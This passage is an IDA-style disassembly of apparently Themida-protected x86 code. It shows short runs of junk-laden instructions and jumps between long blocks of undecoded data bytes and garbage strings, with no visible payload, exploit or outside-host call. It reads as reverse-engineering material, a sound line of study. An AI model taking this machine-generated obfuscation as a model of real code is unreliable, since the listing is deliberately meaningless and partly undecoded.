		db 8Bh,	2 dup(24h)
		dd 10A0E9h, 0C2815F00h,	253D0327h, 246C281h, 0FFE9317Fh
		dd 68000068h, 0B1Fh, 15208E9h, 44480500h, 0C8015962h, 6244482Dh
		dd 0CAF3E959h, 0E5680000h, 89000007h, 6AB5240Ch, 0CC25E9h
		dd 24048300h, 24048F04h, 4B850h, 0E4E90000h, 8100000Ch
		dd 0C36AE8E9h, 67C2E97Fh, 9F680000h, 89000067h,	14F7241Ch
		dd 15C9E924h, 0EC810001h, 4, 0E9240489h, 6743h,	148BD131h
		dd 4C48124h, 1000000h, 1C8759CBh, 89525C24h, 4C281E2h
		dd 83000000h, 148704EAh, 1445E924h, 0E8C10001h,	4FF5002h
		dd 0E0C15824h, 5E8C102h, 0F30DB635h, 58C72927h,	3F3AC781h
		dd 0DF011DFBh, 3F3AEF81h, 0C7811DFBh, 255D7609h, 68241C8Bh
		dd 235Fh, 54243489h, 5EBD555Eh,	8153EF72h, 108DA6C5h, 8BEE01ACh
		dd 0C483242Ch, 4C68304h, 8B243487h, 0ABE92424h,	8300004Bh
		dd 0BCE904C4h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_542833:				; CODE XREF: Themida_:005527BDj
		sub	esp, 4
		jmp	loc_555F8B
; ---------------------------------------------------------------------------
		db 68h
		dd 0AD9F044Bh, 5DEE295Dh, 6DAD68h, 24348900h, 1BB068h
		dd 24148900h, 8324348Bh, 925A04C4h, 0ADC5E9h, 81FA2900h
		dd 39585DC2h, 243C8B6Fh, 4C481h, 79E90000h, 800000EBh
		dd 52E96FC3h, 510000E3h, 0AC2143B9h, 0D3C9813Fh, 8123014Ah
		dd 212E77E1h, 0E8E95030h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_542897:				; CODE XREF: Themida_:00551E79j
		pop	esp
		mov	[esp], ecx
		push	38B8h
		mov	[esp], edx
		mov	edx, 55E54E94h
		jmp	loc_553A4E
; ---------------------------------------------------------------------------
		db 66h,	0FFh, 32h
		dd 0FFFE57E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5428B5:				; CODE XREF: Themida_:005523D9j
		not	edx
		jmp	loc_54414C
; ---------------------------------------------------------------------------
aUusSRsbo	db '½Uué-',9,'è]Ré¡O',0
		align 2
		dw 0F729h
		dd 86F0E95Eh, 0C2810000h, 4, 0E9241487h, 3BB7h,	0E9545758h
		dd 269Fh, 4C481h, 96E90000h, 0BA0000D7h, 4, 34FFD029h
		dd 812AE924h, 0B4500000h, 0BB38E969h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54290A:				; CODE XREF: Themida_:00547A1Fj
		sub	esp, 2
		mov	[esp], dx
		mov	dh, al
		not	dh
		mov	al, dh
		pop	dx
		add	al, 27h
		jmp	loc_55000A
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 8704EA83h, 0AAE92414h
		db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_542937:				; CODE XREF: Themida_:00552C62j
		and	edi, 73704823h
		not	edi
		push	ecx
		jmp	loc_55533E
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 0Ah
		dd 89000115h, 4B9240Ch,	29000000h, 76E959CAh, 870000E0h
		dd 9E92414h, 68000064h,	5CBB60CAh, 0EC83525Bh, 24348904h
		dd 13FDE9h, 0C7C78100h,	89D00D55h, 0EB895FFDh, 83242C8Bh
		dd 0D80104C4h, 1FEEE95Bh
		db 1, 0
; ---------------------------------------------------------------------------


loc_54298E:				; CODE XREF: Themida_:00543E5Cj
		jnz	loc_54F0ED
		sub	esp, 4
		mov	[esp], ecx
		push	247Bh
		mov	[esp], ebx
		push	2C091BC3h
		mov	ebx, [esp]
		jmp	loc_55496E
; ---------------------------------------------------------------------------
		db 88h
		dd 241C8BFAh, 0FC2E9h, 4C48100h, 2D000000h, 70197191h
		dd 0E9243C8Bh, 51AFh, 0E581E5D1h, 90A60A8h, 0ED81D5F7h
		dd 261FC232h, 10F83E9h,	4EC8100h, 89000000h, 41BB241Ch
		dd 0E95EDB10h, 1CDBh, 2BFh, 8BFD2900h, 0C483243Ch, 242C3304h
		dd 33242C31h, 0E95C242Ch, 0AD8Dh
; ---------------------------------------------------------------------------


loc_542A10:				; CODE XREF: Themida_:00552659j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	edx
		push	52C87C1Ch
		pop	edx
		jmp	loc_54FEF4
; ---------------------------------------------------------------------------
		db 5
		dd 2EED0C80h, 802DF001h, 0FF2EED0Ch, 348B2434h,	4C48124h
		dd 81000000h, 4C4h, 2BD5500h, 0E9000000h, 13B4Ah, 0C281E289h
		dd 4, 8704EA83h, 895C2414h, 0EC83242Ch,	24248904h, 1474FE9h
		dd 2434FF00h, 0E1D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_542A85:				; CODE XREF: Themida_:00557216j
		sub	edx, 41720201h
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_54DC08
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFFC68h, 0C381C301h, 337B4EF0h, 4490BD55h, 63E90C9Fh
		dd 0B8000054h, 4, 7A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_542AC1:				; CODE XREF: Themida_:0054758Ej
		mov	[esp], ebx
		jmp	loc_55754B
; ---------------------------------------------------------------------------


loc_542AC9:				; CODE XREF: Themida_:00547C78j
		and	edx, esi
		pop	esi
		sub	edx, 525A7756h
		shl	edx, 7
		shr	edx, 8
		xor	edx, 0DBC55Dh
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 4
		add	ebx, 4CCC5F16h
		add	ebx, ecx
		jmp	loc_54A906
; ---------------------------------------------------------------------------
		dw 0C780h
		dd 80E7282Ch, 48B2CEFh,	4C48324h, 1C8BFE30h, 4C48324h
		dd 4EC81h, 4890000h, 4EC8324h, 50241489h, 70E974B4h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_542B27:				; CODE XREF: Themida_:0054AE7Ej
		mov	ch, 4Eh
		sub	dh, ch
		jmp	loc_543C5C
; ---------------------------------------------------------------------------


loc_542B30:				; CODE XREF: Themida_:00546612j
		pop	ecx
		jmp	loc_55036E
; ---------------------------------------------------------------------------
aISor		db 'ˆÕéoà',0
		dd 59EB3000h, 0E9F8E9h
		db 0
; ---------------------------------------------------------------------------


loc_542B45:				; CODE XREF: Themida_:0054D005j
		pop	ebp
		add	edi, 640A0588h
		add	edi, ebx
		sub	edi, 640A0588h
		pop	ebx
		jmp	loc_5536B2
; ---------------------------------------------------------------------------
		dw 0ADE9h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_542B5F:				; CODE XREF: Themida_:0054EBD2j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 758410E6h
		sub	ebx, 6087DE53h
		push	eax
		push	363712A1h
		mov	eax, [esp]
		add	esp, 4
		add	eax, 52751A0Bh
		push	edx
		mov	edx, 634315A6h
		sub	eax, edx
		pop	edx
		add	ecx, 13F620FAh
		add	ecx, 6BC4678Dh
		sub	ecx, eax
		sub	ecx, 6BC4678Dh
		jmp	loc_5544F7
; ---------------------------------------------------------------------------
		dd 241C8B54h, 11B0E9h, 0C1959500h, 0D0F705E0h, 32B95155h
		dd 8156C375h, 3EF34DC1h, 9725E9F8h, 248B0000h, 24348924h
		dd 77F2E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_542BD2:				; CODE XREF: Themida_:0055184Bj
		mov	edx, esp
		add	edx, 4
		jmp	loc_550DB3
; ---------------------------------------------------------------------------
		db 81h
		dd 483C74C3h, 8BDE01C2h, 0C481241Ch, 4,	57BA68h, 24348900h
		dd 131ACE9h, 2474FF00h,	24048B04h, 0E904C483h, 7EFCh, 0ED2FA6B8h
		dd 2A556811h, 2C890000h, 62B3BD24h, 0B95158B9h,	126B5F5Ch
		dd 2B25EB81h, 0CB2934A3h, 2B25C381h, 0C8B34A3h,	7F43E924h
		dd 8F5B0000h, 895C2404h, 6853240Ch, 61691AD8h, 64C7E95Bh
		dd 0EC830000h, 242C8904h, 37C1E9h
		db 0
; ---------------------------------------------------------------------------


loc_542C59:				; CODE XREF: Themida_:00547D45j
		xor	ebx, 3A5DFA02h
		sub	eax, ebx
		jmp	loc_5486E7
; ---------------------------------------------------------------------------


loc_542C66:				; CODE XREF: Themida_:0054CAAAj
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	edi
		jmp	loc_55476C
; ---------------------------------------------------------------------------
		dd 8159CE29h, 0FE03D7E6h, 0DAEE8161h, 0E95CE216h, 0A5CEh
; ---------------------------------------------------------------------------


loc_542C90:				; CODE XREF: Themida_:00548C3Cj
		push	ecx
		mov	ecx, 7851FB3h
		jmp	loc_5463B3
; ---------------------------------------------------------------------------
aISs		db 'ˆêéáÙ',0
		align 2
		dw 4E68h
		dd 0E900001Ah, 114B2h, 592434FFh, 4C481h, 0BD550000h, 2F7E6766h
		dd 55F7F581h, 0DDF71346h, 2E46F581h, 0E58104A0h, 592615F0h
		dd 0DD7EED81h, 0E8012D90h, 7AC4E9h, 56BB5300h, 0E906FD14h
		dd 6700h
; ---------------------------------------------------------------------------


loc_542CE8:				; CODE XREF: Themida_:00555A0Bj
		shr	esi, 7
		and	esi, 7D896014h
		sub	esi, 0F441D1F6h
		sub	ebp, esi
		pop	esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	ecx, 0Bh
		jmp	loc_54BC5E
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4ECh, 240C8900h, 0BB53E189h, 4, 525BD901h
		dd 91740DBAh, 56E2D10Fh, 8C27EFBEh, 81DEF778h, 7101AAC6h
		dd 11A3E92Eh, 0E2080000h, 0CEEA8058h, 0D028DB2Ch, 0CCE9DB04h
		db 3, 1, 0
; ---------------------------------------------------------------------------


loc_542D4F:				; CODE XREF: Themida_:00543720j
		pop	eax
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_552536
		push	dword ptr [edi+1Ch]
		jmp	loc_55154A
; ---------------------------------------------------------------------------


loc_542D68:				; CODE XREF: Themida_:005444FCj
		not	ecx
		xor	ecx, 62A135DEh
		neg	ecx
		xor	ecx, 46F0148Eh
		jmp	loc_54C5FE
; ---------------------------------------------------------------------------
		db 0BDh, 0F8h, 1Eh
		dd 0E5C1681Bh, 0B5F58104h, 814A5213h, 0CC5ABBCDh, 0BBF58120h
		dd 2DEBEFFEh, 51712EBDh, 0CC2DE9h
		db 0
; ---------------------------------------------------------------------------


loc_542DA1:				; CODE XREF: Themida_:0054F94Cj
		add	ecx, ebx
		add	ecx, 61BC7A41h
		push	edi
		mov	edi, 20930BCDh
		jmp	loc_55588D
; ---------------------------------------------------------------------------
		dd 4C781h, 3C870000h, 0BF575C24h, 4, 289CE9h, 243C8B00h
		dd 11311E9h, 4E98100h, 87000000h, 895C240Ch, 14F72414h
		dd 91CBE924h, 8B660000h, 54512404h, 0E9240C8Bh,	4D8Dh
		dd 0CE88D988h, 0B14E959h, 815B0001h, 4C4h, 76E98100h, 81238538h
		dd 53456AE9h, 0E9F90156h, 7C7Dh, 5ABBEE81h, 0D6016FDCh
		dd 1226EE9h, 5FEA8100h,	0E930FC79h, 33F6h, 0C2E9C231h
		db 0E1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_542E37:				; CODE XREF: Themida_:00545464j
		sub	esi, ebx
		add	esi, 335A140Ah
		pop	ebx
		jmp	loc_555CD4
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BA241489h, 40627E84h, 8245401h, 6824148Bh, 688Bh, 59EFE9h
		dd 89665C00h, 5BE9240Ch, 0BF000124h, 5E752B83h,	4161C781h
		dd 17E935CBh, 0BB000042h, 0
		dd 0D987CB29h, 6DF1815Bh, 31F4DB27h, 0B6E1E9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_542E92:				; CODE XREF: Themida_:0054C1DCj
		pop	ecx
		mov	ax, [esp]
		jmp	loc_5449E4
; ---------------------------------------------------------------------------
		dd 4BEh, 10990500h, 0F0015292h,	9210992Dh, 37685E52h, 89000024h
		dd 0F0E9243Ch, 6600012Ch, 8124048Bh, 4ECh, 241C8900h, 0BF57E389h
		dd 4, 756CC381h, 0FB0134CBh, 756CEB81h,	0E95F34CBh, 717Ch
		dd 0E924248Bh, 0FFFFF820h, 68D831ADh, 6FB7h, 68243C89h
		dd 4C01h, 0BB241C89h, 78C54FE0h, 353AE9h, 0BFF18100h, 0C1249F0Bh
		dd 0C18107E1h, 0E9916D8h, 18D1E9h, 7CC4BA00h, 3E9171Ch
		dd 5F0000CFh, 6E9768h, 24048900h, 3350E956h, 0F7810001h
		dd 0F783640h, 8883BE5Dh, 0FE29D293h, 0E732E9h, 81CD2900h
		dd 5235E1C5h, 0AB2E917h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_542F56:				; CODE XREF: Themida_:005552AEj
		mov	eax, 71BE6520h
		xor	eax, 7E594F54h
		jmp	loc_545AEC
; ---------------------------------------------------------------------------


loc_542F65:				; CODE XREF: Themida_:00543F6Aj
		mov	ebp, [esp]
		jmp	loc_54815A
; ---------------------------------------------------------------------------
aWss		db 'Wé™Ü',0
		dw 0B800h
		dd 4, 8158C201h, 4C2h, 24148700h, 3232E95Ch, 89520001h
		dd 76BE9E2h, 0C1810000h, 0FB136FB3h, 5A59CE29h,	5604C683h
		dd 42474FFh, 24048F5Eh,	4C4815Ch, 66000000h, 5000B60Fh
		dd 405E089h, 2D000000h,	4, 0E9240487h, 4D67h, 0FFF73FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_542FCD:				; CODE XREF: Themida_:0054B353j
		mov	[esp], esi
		mov	esi, 42677D3Ah
		xor	esi, 4A2532D1h
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		mov	ebx, 558479Bh
		mov	edi, 4443B9EBh
		sub	edi, ebx
		pop	ebx
		sub	esi, 5A527D45h
		add	esi, 3DC109CAh
		add	esi, edi
		jmp	loc_5564D0
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 53000000h, 0A300EBBBh, 5BD9010Ah, 2A6AE981h,	0F9011F95h
		dd 2A6AC181h, 0EC831F95h, 24348904h, 7EE4E9h, 5DDDBA00h
		dd 0E281506Eh, 62A462FEh, 0E281DAF7h, 359C0473h, 0D44DE9h
		db 0
; ---------------------------------------------------------------------------


loc_543051:				; CODE XREF: Themida_:005488EBj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	5D71h
		jmp	loc_556FA2
; ---------------------------------------------------------------------------
		dd 9C2424D3h, 0FFF693E9h, 0C48359FFh, 4EC8304h,	0A556E9h
		dd 5BDD0100h, 34FFE821h, 0C544E924h, 9A040000h,	9A2CD000h
		dd 149DCE9h, 61C18100h,	8141194Bh, 0CEB761C1h, 2B5EE9C2h
		dd 0E95A0001h, 0A6AFh, 67E9A82Ch, 81000134h, 2C3h, 74FF5300h
		dd 0E5E90424h, 8B0000B8h, 0C4812404h, 4, 5C241C87h, 240C8966h
		dd 59F8E9h, 4C48300h, 0E904EC83h, 12986h, 55FF801h, 0BDF09C6h
		dd 0C9E9F801h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5430FB:				; CODE XREF: Themida_:00544A82j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		add	edi, ebx
		jmp	loc_5444B6
; ---------------------------------------------------------------------------


loc_54310C:				; CODE XREF: Themida_:00549945j
		mov	edi, 37F5395Eh
		sub	edi, 499C080Ah
		shl	edi, 5
		jmp	loc_5499BF
; ---------------------------------------------------------------------------


loc_54311F:				; CODE XREF: Themida_:0054CD5Cj
		add	ebp, ecx
		jmp	loc_54DA25
; ---------------------------------------------------------------------------


loc_543126:				; CODE XREF: Themida_:0054B40Cj
		add	bl, al
		push	3F2Ah
		mov	[esp], ecx
		mov	cl, 47h
		sub	bl, cl
		jmp	loc_5550C6
; ---------------------------------------------------------------------------
		db 0C1h, 0E9h, 8
		dd 7D6CF181h, 0EE81006Ah, 315E0A29h, 67A6C681h,	0CE017B67h
		dd 0E155E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543156:				; CODE XREF: Themida_:00545ACDj
		mov	[esp], eax
		push	ecx
		mov	ecx, 32CA2184h
		mov	eax, 32CA2186h
		xor	eax, ecx
		pop	ecx
		add	edi, eax
		pop	eax
		jmp	loc_5558E7
; ---------------------------------------------------------------------------
		db 89h
		dd 2434FFCBh, 0C88EE959h, 0CFF0000h, 89E99C24h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_543183:				; CODE XREF: Themida_:0055395Fj
		push	3937h
		mov	[esp], ebp
		jmp	loc_546476
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 100F7h
; ---------------------------------------------------------------------------


loc_543198:				; CODE XREF: Themida_:00544CB6j
		xor	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54B2A9
; ---------------------------------------------------------------------------
		db 80h,	0F6h, 88h
		dd 0C4E7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5431AD:				; CODE XREF: Themida_:005485BCj
		pop	edx
		sub	ax, bp
		mov	bp, [esp]
		add	esp, 2
		jmp	loc_55046F
; ---------------------------------------------------------------------------


loc_5431BD:				; CODE XREF: Themida_:00543524j
		add	ebx, edx
		jmp	loc_55655A
; ---------------------------------------------------------------------------
		dd 0F66E95Eh, 0EC880001h, 6F90E959h, 0E95B0000h, 5AB0h
		dd 53BFE480h, 0EFD089B7h, 0C046B252h, 0CAFE06EAh, 0EA80D2F6h
		dd 5AD728C2h, 135A0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5431F5:				; CODE XREF: Themida_:0054A13Bj
		pop	edx
		and	eax, ebx
		jmp	loc_544E96
; ---------------------------------------------------------------------------


loc_5431FD:				; CODE XREF: Themida_:0054FD1Ej
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_550C74
; ---------------------------------------------------------------------------
		dd 89D88950h, 1C8B58C2h, 4C48124h, 0E9000000h, 11564h
; ---------------------------------------------------------------------------


loc_543224:				; CODE XREF: Themida_:00548447j
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 3AD2359Ch
		sub	edi, 3AD23598h
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_553B82
; ---------------------------------------------------------------------------
aWGhA		db ',w,ƒhìa',0
		dd 24148900h, 70B25251h, 8006E2C0h, 0B55186E2h,	0DADFE977h
		dd 0C6010000h, 74FF5658h, 21E90424h, 5A000025h,	5966E800h
		dd 68C3305Bh, 516Dh, 89242C89h,	4C581E5h, 68000000h, 3CC8h
		dd 0B8240489h, 4, 8758C529h, 248B242Ch,	241C8924h, 5A4BA52h
		dd 6FE9687Ah
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5432B3:				; CODE XREF: Themida_:00545C5Fj
		jmp	loc_54270C
; ---------------------------------------------------------------------------


loc_5432B8:				; CODE XREF: Themida_:00556052j
		pop	eax
		jmp	loc_551B95
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 3D6053E9h, 4BB2E681h, 0DEF70BB7h, 0DA9DF681h, 0BC2DDCF7h
		dd 0E9495E76h, 127Fh, 81E78957h, 4C7h, 0BB535600h, 6EC0FC3h
		dd 525BDE89h, 1A6FE9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 31EA0202h
		inc	ecx
		add	ecx, 0CE15FE01h
		add	ebp, ecx
		pop	ecx
		push	71CFh
		mov	[esp], edx
		jmp	loc_55797A
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 3956h, 42474FFh,	24048F58h, 0D5EAE95Ch
		dd 0E9550000h, 0FFFFF507h, 0FFF3D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_543339:				; CODE XREF: Themida_:0054E930j
		pop	ebx
		jmp	loc_54725F
; ---------------------------------------------------------------------------


loc_54333F:				; CODE XREF: Themida_:005441F7j
		add	eax, 48B21D78h
		jmp	loc_556E89
; ---------------------------------------------------------------------------


loc_543349:				; CODE XREF: Themida_:0055647Cj
		add	ebx, 479575DFh
		push	eax
		mov	eax, 7C5BA76Bh
		add	ebx, eax
		jmp	loc_556C32
; ---------------------------------------------------------------------------
		db '\h]',7,0
		align 2
		dw 3C89h
		dd 1C766824h, 4F5F4C9Fh, 0E38FB951h, 0C781B360h, 53E35AC0h
		dd 0B0B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_54337D:				; CODE XREF: Themida_:0054FD3Ej
		pop	esi
		jmp	loc_5565CF
; ---------------------------------------------------------------------------
		db 81h
		dd 616BD0C2h, 243C8B0Fh, 3A29E9h
		db 0
; ---------------------------------------------------------------------------


loc_543391:				; CODE XREF: Themida_:0055549Aj
		shr	eax, 2
		shl	eax, 8
		add	eax, 51862ABFh
		and	eax, 3D875204h
		not	eax
		xor	eax, 39299A08h
		xor	ecx, eax
		pop	eax
		and	eax, ecx
		jmp	loc_552ED7
; ---------------------------------------------------------------------------
		dw 505Ch
		dd 0BF57E089h, 4, 105AEE9h, 42E95800h, 810000F8h, 6B7519E9h
		dd 81F1016Ch, 6B7519C1h, 6EBF576Ch, 52061D7Bh, 0E03BE9h
		dd 24048F00h, 48B665Ch,	0E3895324h, 777FBF57h, 0E78133A6h
		dd 54D902A5h, 0EFC1EFD1h, 0CD3BE908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543402:				; CODE XREF: Themida_:0054547Aj
		shl	eax, 1
		push	esi
		mov	esi, 63D87559h
		jmp	loc_54A225
; ---------------------------------------------------------------------------
		db 66h
		dd 5524048Bh, 4EC81h, 8F540000h, 0ECE92404h, 8900003Ch
		dd 0E789243Ch, 4C781h, 0BA520000h, 6A296FADh, 0E1E9E2D1h
		dd 8100010Dh, 0AF7048C5h, 0E9E90164h, 0AC60h, 5F5FF801h
		dd 0E9E18951h, 1069Eh, 1697E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54345A:				; CODE XREF: Themida_:00545C9Cj
		shr	ecx, 2
		push	12FBh
		jmp	loc_5443A9
; ---------------------------------------------------------------------------
		db 1
		dd 58042444h, 0E924048Fh, 0CBBEh, 5266C0FEh, 38E943B2h
		dd 0B80000B8h, 38800866h, 0D0F7D0F7h, 3767E9h, 3886800h
		dd 1C890000h, 803DB324h, 0D3F616EBh, 0AE21E9h, 62623500h
		dd 0A20D3ACBh, 25216C05h, 60AB72C1h, 0B6E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5434B5:				; CODE XREF: Themida_:0055343Ej
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5563A8
; ---------------------------------------------------------------------------


loc_5434CF:				; CODE XREF: Themida_:005546C6j
		xchg	esi, [esp]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_556B80
; ---------------------------------------------------------------------------
		db 89h
		dd 1BD242Ch, 81000000h,	0D46F5CEBh, 12E95611h, 0F7000052h
		dd 3357E9D3h, 6F2C0001h, 125D3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5434FD:				; CODE XREF: Themida_:00555D5Fj
		pop	esi
		add	ebx, edi
		push	6C6Bh
		mov	[esp], edx
		mov	edx, 65FA2E76h
		and	edx, 7351508Dh
		dec	edx
		xor	edx, ebx
		xor	ebx, edx
		xor	edx, ebx
		not	ebx
		xchg	ebx, edx
		add	edx, 0D4F65BADh
		jmp	loc_5431BD
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 1000000h, 4A685FFAh,	8900002Bh, 0BE56241Ch, 10603F0Fh
		dd 43A7EE81h, 814E5C91h, 0FF4202EEh, 6E68104h, 810D1226h
		dd 61A89CEEh, 0FB7E9DBh, 0C4810000h, 4,	4C481h,	0D2E90000h
		dd 0BF000019h, 5D471E90h, 8107E7C1h, 287499F7h,	3E7C164h
		dd 52DABA52h, 0EA81444Bh, 78EB3382h, 9EF7E9h, 30B15100h
		dd 1B5E9h, 5DEB0900h, 0E951DBF7h, 97E0h, 0C0FCEE80h, 0EE8006EEh
		dd 5AF088EAh, 0FE04E8C0h, 0FEC0FEC0h, 0BC1AE9C0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5435BE:				; CODE XREF: Themida_:0054CA81j
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_554D25
; ---------------------------------------------------------------------------


loc_5435D3:				; CODE XREF: Themida_:0054A388j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54461F
; ---------------------------------------------------------------------------


loc_5435DE:				; CODE XREF: Themida_:005474E3j
		mov	eax, 9F72D8Bh
		neg	eax
		add	eax, 23C606Dh
		jmp	loc_544EF7
; ---------------------------------------------------------------------------
		db 59h
		dd 2816B753h, 0F8005BF8h, 11C71E9h, 4C18300h, 5C240C87h
		dd 13C4EE9h
		db 0
; ---------------------------------------------------------------------------


loc_543609:				; CODE XREF: Themida_:0054FE25j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_555198
; ---------------------------------------------------------------------------


loc_543614:				; CODE XREF: Themida_:00555629j
		mov	cl, 0AEh
		add	ah, cl
		pop	cx
		sub	bl, ah
		jmp	loc_548BC4
; ---------------------------------------------------------------------------
		db 0BBh, 0ADh, 1Bh
		dd 0DF291092h, 1359CE9h
		db 0
; ---------------------------------------------------------------------------


loc_54362D:				; CODE XREF: Themida_:0055286Bj
		push	ecx
		mov	ch, 72h
		sub	bl, 80h
		add	bl, ch
		add	bl, 80h
		pop	ecx
		add	bl, al
		jmp	loc_548243
; ---------------------------------------------------------------------------
		dd 4B9h, 244C0100h, 34FF5904h, 0AA0BE924h, 0B0500000h
		dd 2C2B0468h, 8EEB808Fh, 3BF3E9h, 6F38100h, 810FD655h
		dd 0F6471BC3h, 9177E9DFh, 0BD550000h, 4, 7C7DE9h, 2346BB00h
		dd 0FBE1A3Ah, 2990358Ah, 0E2E95BDEh, 2D00011Eh,	383ED7h
		dd 0A6C3815Bh, 8111ED2Fh, 477522EBh, 52C3291Ah,	787EBF57h
		dd 1BE90B98h, 5C0000E1h, 0D092E9h, 815F5400h, 4C7h, 4B85000h
		dd 1000000h, 0FF5758C7h, 8B042474h, 0C481243Ch,	4, 5C24048Fh
		dd 4C481h, 68550000h, 6C81h, 138F8E9h, 0F01EE900h, 2C8BFFFFh
		dd 4C48124h, 52000000h,	0F4C6E9h, 4C28100h, 83000000h
		dd 148704C2h, 0FC4EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54370E:				; CODE XREF: Themida_:0054C9AFj
		pop	ecx
		add	esp, 4
		sub	edx, 10BD3724h
		sub	edx, eax
		add	edx, 10BD3724h
		jmp	loc_542D4F
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 3
		dd 1B850h, 0C3010000h, 0C3814358h, 321BE70Ch, 2467BA52h
		dd 0DAF70FE0h, 0FAAFF281h, 0D701C58Bh, 8274E95Ah, 0E9530000h
		dd 10999h
; ---------------------------------------------------------------------------


loc_543754:				; CODE XREF: Themida_:0054AC73j
		sub	ebx, 3F173E1Eh
		jmp	loc_549B77
; ---------------------------------------------------------------------------


loc_54375F:				; CODE XREF: Themida_:00555E8Ej
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		add	ebx, 69C34B7h
		sub	edx, ebx
		jmp	loc_5579D0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_546D00
; ---------------------------------------------------------------------------


loc_543779:				; CODE XREF: Themida_:00555F86j
		add	esp, 4
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		jmp	loc_546752
; ---------------------------------------------------------------------------
		db 0BAh, 2 dup(0FFh)
		dd 0D629FFFFh, 4EEC15Ah, 0FFFFB951h, 0CE29FFFFh, 86AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5437A1:				; CODE XREF: Themida_:0054AFFFj
		add	ecx, edi
		pop	edi
		add	ecx, 27156985h
		push	edx
		push	edi
		mov	edi, 629C4E09h
		mov	edx, 629C4E09h
		jmp	loc_5480E1
; ---------------------------------------------------------------------------


loc_5437BB:				; CODE XREF: Themida_:0054B5ACj
		pop	esp
		jmp	loc_5557E3
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0B9h
		dd 0E919CB62h, 9694h, 5504C483h, 0D9A1E9h, 24540100h, 24148B04h
		dd 0E904C483h, 0FFFFEF28h
; ---------------------------------------------------------------------------


loc_5437E4:				; CODE XREF: Themida_:005486E2j
		dec	ecx
		add	ecx, 0C9531F0Ch
		xor	edi, ecx
		jmp	loc_54D375
; ---------------------------------------------------------------------------
		dw 0FF50h
		dd 58042474h, 5C24048Fh, 0E9595451h, 44h, 5BC58159h, 0E956D02Fh
		dd 43B4h
; ---------------------------------------------------------------------------


loc_543810:				; CODE XREF: Themida_:005565C1j
		add	[esp+4], ebp
		mov	ebp, [esp]
		push	7795h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_555A4B
